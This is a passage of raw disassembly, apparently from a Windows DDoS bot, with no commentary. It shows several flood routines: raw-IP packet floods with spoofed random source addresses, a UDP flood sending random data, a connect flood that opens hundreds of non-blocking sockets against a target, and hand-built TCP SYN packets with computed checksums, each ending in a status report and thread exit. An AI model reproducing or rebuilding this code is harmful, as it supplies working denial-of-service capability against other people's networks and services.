loc_41220C: ; CODE XREF: sub_411ED9+3Bj
pop edi
pop ebx
leave
retn
sub_411ED9 endp
; =============== S U B R O U T I N E =======================================
sub_412210 proc near ; CODE XREF: sub_411E27+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_409EFD
push [esp+10h+arg_4]
mov esi, eax
call sub_41B3F0
push [esp+14h+arg_C]
mov ebx, eax
call sub_41B3F0
mov edi, eax
call sub_41B850
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_411ED9
add esp, 20h
test eax, eax
jnz short loc_41225F
push 1
pop eax
loc_41225F: ; CODE XREF: sub_412210+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_412210 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41226E proc near ; DATA XREF: sub_401CC1+5ED2o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4E091C
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_412309
call dword_4E083C
push eax
lea eax, [ebp+var_3BC]
push offset unk_44CB30
push eax
call sub_41B740
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4122EC
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_408EB9
add esp, 14h
loc_4122EC: ; CODE XREF: sub_41226E+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_41458A
push [ebp+var_38]
call sub_40AB19
pop ecx
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_412309: ; CODE XREF: sub_41226E+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4E0880
cmp eax, 0FFFFFFFFh
jnz short loc_412380
call dword_4E083C
push eax
lea eax, [ebp+var_3BC]
push offset unk_44CB5C
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_412363
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_408EB9
add esp, 14h
loc_412363: ; CODE XREF: sub_41226E+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_41458A
push [ebp+var_38]
call sub_40AB19
pop ecx
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_412380: ; CODE XREF: sub_41226E+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4E08DC
cmp eax, 0FFFFFFFFh
jnz short loc_4123E7
lea eax, [ebp+var_3BC]
push offset unk_44CB8C
push eax
call sub_41B740
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4123CA
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_408EB9
add esp, 14h
loc_4123CA: ; CODE XREF: sub_41226E+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_41458A
push [ebp+var_38]
call sub_40AB19
pop ecx
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_4123E7: ; CODE XREF: sub_41226E+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_4E08A0
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4E08DC
mov esi, dword_4F1364
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_412425: ; CODE XREF: sub_41226E+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4125D0
push 41Ch
mov byte_4E3658, 45h
call dword_4E08A0
cmp [ebp+var_2C], edi
mov word_4E365A, ax
mov word_4E365C, bx
mov word_4E365E, di
mov byte_4E3660, 80h
mov byte_4E3661, bl
mov word_4E3662, di
jz short loc_4124AB
call sub_41B850
mov ebx, eax
shl ebx, 8
call sub_41B850
add ebx, eax
shl ebx, 8
call sub_41B850
add ebx, eax
shl ebx, 8
call sub_41B850
add ebx, eax
push 1
mov dword_4E3664, ebx
pop ebx
jmp short loc_4124C3
; ---------------------------------------------------------------------------
loc_4124AB: ; CODE XREF: sub_41226E+20Bj
push [ebp+var_1BC]
call sub_40A019
pop ecx
push eax
call dword_4E08DC
mov dword_4E3664, eax
loc_4124C3: ; CODE XREF: sub_41226E+23Bj
mov eax, [ebp+var_18]
mov dword_4E3668, eax
call sub_41B850
cdq
mov ecx, 100h
idiv ecx
mov byte_4E366C, dl
call sub_41B850
cdq
mov ecx, 100h
idiv ecx
mov byte_4E366D, dl
call sub_41B850
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_4E366E, di
mov word_4E3672, bx
inc edx
mov word_4E3670, dx
call sub_41B850
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4E3674
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_4E3658
push [ebp+var_4]
call dword_4E0900
cmp eax, 0FFFFFFFFh
jz short loc_41255B
inc [ebp+arg_0]
jmp loc_412425
; ---------------------------------------------------------------------------
loc_41255B: ; CODE XREF: sub_41226E+2E3j
push [ebp+var_4]
call dword_4E0934
call dword_4E083C
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_44CBAC
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41B910
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_4125B3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_408EB9
add esp, 14h
loc_4125B3: ; CODE XREF: sub_41226E+323j
lea eax, [ebp+var_3BC]
push eax
call sub_41458A
push [ebp+var_38]
call sub_40AB19
pop ecx
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_4125D0: ; CODE XREF: sub_41226E+1C8j
push [ebp+var_4]
call dword_4E0934
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_44CBF4
push eax
call sub_41B740
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_412638
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_408EB9
add esp, 14h
loc_412638: ; CODE XREF: sub_41226E+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_41458A
push [ebp+var_38]
call sub_40AB19
pop ecx
pop ecx
push edi
call dword_4F1388 ; ExitThread
sub_41226E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412655 proc near ; DATA XREF: sub_401CC1+4CD4o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_41BC60
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_4E0830
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4E08DC
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4126B0
lea eax, [ebp+var_C0]
push eax
call dword_4E0920
cmp eax, ebx
jz short loc_4126B6
loc_4126B0: ; CODE XREF: sub_412655+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_412713
loc_4126B6: ; CODE XREF: sub_412655+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_44CC40
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_4126F6
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_408EB9
add esp, 14h
loc_4126F6: ; CODE XREF: sub_412655+7Fj
lea eax, [ebp+var_344]
push eax
call sub_41458A
push [ebp+var_30]
call sub_40AB19
pop ecx
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_412713: ; CODE XREF: sub_412655+5Fj
cmp eax, ebx
jz short loc_412723
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_412726
; ---------------------------------------------------------------------------
loc_412723: ; CODE XREF: sub_412655+C0j
mov [ebp+var_4], esi
loc_412726: ; CODE XREF: sub_412655+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41B190
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_412746
mov [ebp+var_3C], eax
loc_412746: ; CODE XREF: sub_412655+ECj
cmp [ebp+var_38], edi
jge short loc_41274E
mov [ebp+var_38], edi
loc_41274E: ; CODE XREF: sub_412655+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_41277B
loc_412755: ; CODE XREF: sub_412655+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4E07C8
inc esi
cmp esi, [ebp+var_40]
jl short loc_412755
loc_41277B: ; CODE XREF: sub_412655+FEj
push [ebp+arg_0]
call dword_4E0954
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_44CC68
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_4127C4
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_408EB9
add esp, 14h
loc_4127C4: ; CODE XREF: sub_412655+14Dj
lea eax, [ebp+var_344]
push eax
call sub_41458A
push [ebp+var_30]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
sub_412655 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4127E1 proc near ; DATA XREF: sub_401CC1+4F1Do
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_41BC60
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
push 11h
push 2
push 2
call dword_4E091C
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_4E08DC
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_4128C6
lea eax, [ebp+var_B0]
push eax
call dword_4E0920
cmp eax, edi
jnz short loc_4128BF
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_44CC94
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_4128A2
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_408EB9
add esp, 14h
loc_4128A2: ; CODE XREF: sub_4127E1+9Fj
lea eax, [ebp+var_334]
push eax
call sub_41458A
push [ebp+var_20]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
loc_4128BF: ; CODE XREF: sub_4127E1+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_4128C9
; ---------------------------------------------------------------------------
loc_4128C6: ; CODE XREF: sub_4127E1+6Ej
lea eax, [ebp+arg_0]
loc_4128C9: ; CODE XREF: sub_4127E1+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_4128E4
call sub_41B850
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_4128E7
; ---------------------------------------------------------------------------
loc_4128E4: ; CODE XREF: sub_4127E1+F0j
push [ebp+var_24]
loc_4128E7: ; CODE XREF: sub_4127E1+101j
call dword_4E08A0
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_4128F9
mov [ebp+var_24], esi
loc_4128F9: ; CODE XREF: sub_4127E1+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_412906
mov [ebp+var_24], eax
loc_412906: ; CODE XREF: sub_4127E1+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_41291A
mov [ebp+var_28], esi
loc_41291A: ; CODE XREF: sub_4127E1+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_41293B
loc_412921: ; CODE XREF: sub_4127E1+158j
call sub_41B850
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_412921
loc_41293B: ; CODE XREF: sub_4127E1+13Ej
; sub_4127E1+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_41299A
push 0Bh
pop esi
loc_412948: ; CODE XREF: sub_4127E1+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41B850
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4E0900
push [ebp+var_28]
call dword_4F1334 ; Sleep
dec esi
jnz short loc_412948
cmp [ebp+var_24], edi
jnz short loc_41293B
call sub_41B850
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4E08A0
mov [ebp+var_E], ax
jmp short loc_41293B
; ---------------------------------------------------------------------------
loc_41299A: ; CODE XREF: sub_4127E1+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_44CCBC
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_4129DA
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_408EB9
add esp, 14h
loc_4129DA: ; CODE XREF: sub_4127E1+1D7j
lea eax, [ebp+var_334]
push eax
call sub_41458A
push [ebp+var_20]
call sub_40AB19
pop ecx
pop ecx
push edi
call dword_4F1388 ; ExitThread
sub_4127E1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129F7 proc near ; DATA XREF: sub_401CC1+45ADo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_412B55
push eax
lea eax, [ebp+var_414]
push offset dword_44CCE8
push eax
call sub_41B740
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_412A74
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_408EB9
add esp, 14h
loc_412A74: ; CODE XREF: sub_4129F7+5Bj
lea eax, [ebp+var_414]
push eax
call sub_41458A
push [ebp+var_10]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_4129F7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A93 proc near ; CODE XREF: sub_412B55+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4E08A0
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_412B51
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_412ADE: ; CODE XREF: sub_412A93+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_412AE6: ; CODE XREF: sub_412A93+7Aj
push 0
push 1
push 2
call dword_4F150C ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_412B09
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call dword_4F14E4 ; ioctlsocket
loc_412B09: ; CODE XREF: sub_412A93+64j
add esi, 4
dec ebx
jnz short loc_412AE6
lea esi, [ebp+var_654]
mov ebx, edi
loc_412B17: ; CODE XREF: sub_412A93+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call dword_4F1500 ; connect
add esi, 4
dec ebx
jnz short loc_412B17
push 64h
call dword_4F1334 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_412B3B: ; CODE XREF: sub_412A93+B4j
push dword ptr [esi]
call dword_4F1508 ; closesocket
add esi, 4
dec ebx
jnz short loc_412B3B
dec [ebp+arg_4]
jnz short loc_412ADE
pop edi
pop esi
pop ebx
loc_412B51: ; CODE XREF: sub_412A93+3Ej
xor eax, eax
leave
retn
sub_412A93 endp
; =============== S U B R O U T I N E =======================================
sub_412B55 proc near ; CODE XREF: sub_4129F7+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_409EFD
push [esp+10h+arg_4]
mov edi, eax
call sub_41B3F0
push [esp+14h+arg_8]
mov ebx, eax
call sub_41B3F0
mov esi, eax
push esi
push ebx
push edi
call sub_412A93
add esp, 18h
test eax, eax
jnz short loc_412B8B
push 1
pop eax
loc_412B8B: ; CODE XREF: sub_412B55+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_412B55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B9A proc near ; DATA XREF: sub_401CC1+5C00o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_412EE8
push eax
lea eax, [ebp+var_414]
push offset unk_44CD14
push eax
call sub_41B740
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_412C17
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_408EB9
add esp, 14h
loc_412C17: ; CODE XREF: sub_412B9A+5Bj
lea eax, [ebp+var_414]
push eax
call sub_41458A
push [ebp+var_10]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_412B9A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412C36 proc near ; CODE XREF: sub_412EE8+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4E081C
test eax, eax
jz short loc_412C76
xor eax, eax
jmp loc_412EE4
; ---------------------------------------------------------------------------
loc_412C76: ; CODE XREF: sub_412C36+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4E0940
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_412EDC
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4E0880
cmp eax, 0FFFFFFFFh
jz loc_412ED2
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4E08A0
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4E08A0
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4E08A0
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4E08A0
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_4F12BC ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_4F13EC ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DE60
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_412D61: ; CODE XREF: sub_412C36+25Dj
; sub_412C36+26Bj
mov [ebp+var_24], bx
call sub_41B850
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4E08A0
mov [ebp+var_34], ax
call sub_41B850
mov edi, eax
shl edi, 10h
call sub_41B850
or edi, eax
push edi
call dword_4E08A0
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4E089C
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4E08A0
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A072
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C8D0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B190
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A072
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C8D0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4E0900
cmp eax, 0FFFFFFFFh
jz short loc_412EA6
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_4F13EC ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_412ECF
jl loc_412D61
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_412ECF
jmp loc_412D61
; ---------------------------------------------------------------------------
loc_412EA6: ; CODE XREF: sub_412C36+247j
call dword_4E083C
push eax
lea eax, [ebp+var_F4]
push offset unk_44CD3C
push eax
call sub_41B740
lea eax, [ebp+var_F4]
push eax
call sub_41458A
add esp, 10h
jmp short loc_412ED2
; ---------------------------------------------------------------------------
loc_412ECF: ; CODE XREF: sub_412C36+25Bj
; sub_412C36+269j
mov ebx, [ebp+arg_8]
loc_412ED2: ; CODE XREF: sub_412C36+78j
; sub_412C36+297j
push [ebp+var_C]
call dword_4E0934
pop esi
loc_412EDC: ; CODE XREF: sub_412C36+5Bj
call dword_4E0804
mov eax, ebx
loc_412EE4: ; CODE XREF: sub_412C36+3Bj
pop edi
pop ebx
leave
retn
sub_412C36 endp
; =============== S U B R O U T I N E =======================================
sub_412EE8 proc near ; CODE XREF: sub_412B9A+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_409EFD
push [esp+10h+arg_4]
mov esi, eax
call sub_41B3F0
push [esp+14h+arg_8]
mov ebx, eax
call sub_41B3F0
mov edi, eax
call sub_41B850
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_412C36
add esp, 1Ch
test eax, eax
jnz short loc_412F33
push 1
pop eax
loc_412F33: ; CODE XREF: sub_412EE8+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_412EE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F42 proc near ; DATA XREF: sub_401CC1+64A3o
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
loc_412F4E: ; DATA XREF: .nsp0:off_451074o
; .nsp0:off_451078o
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
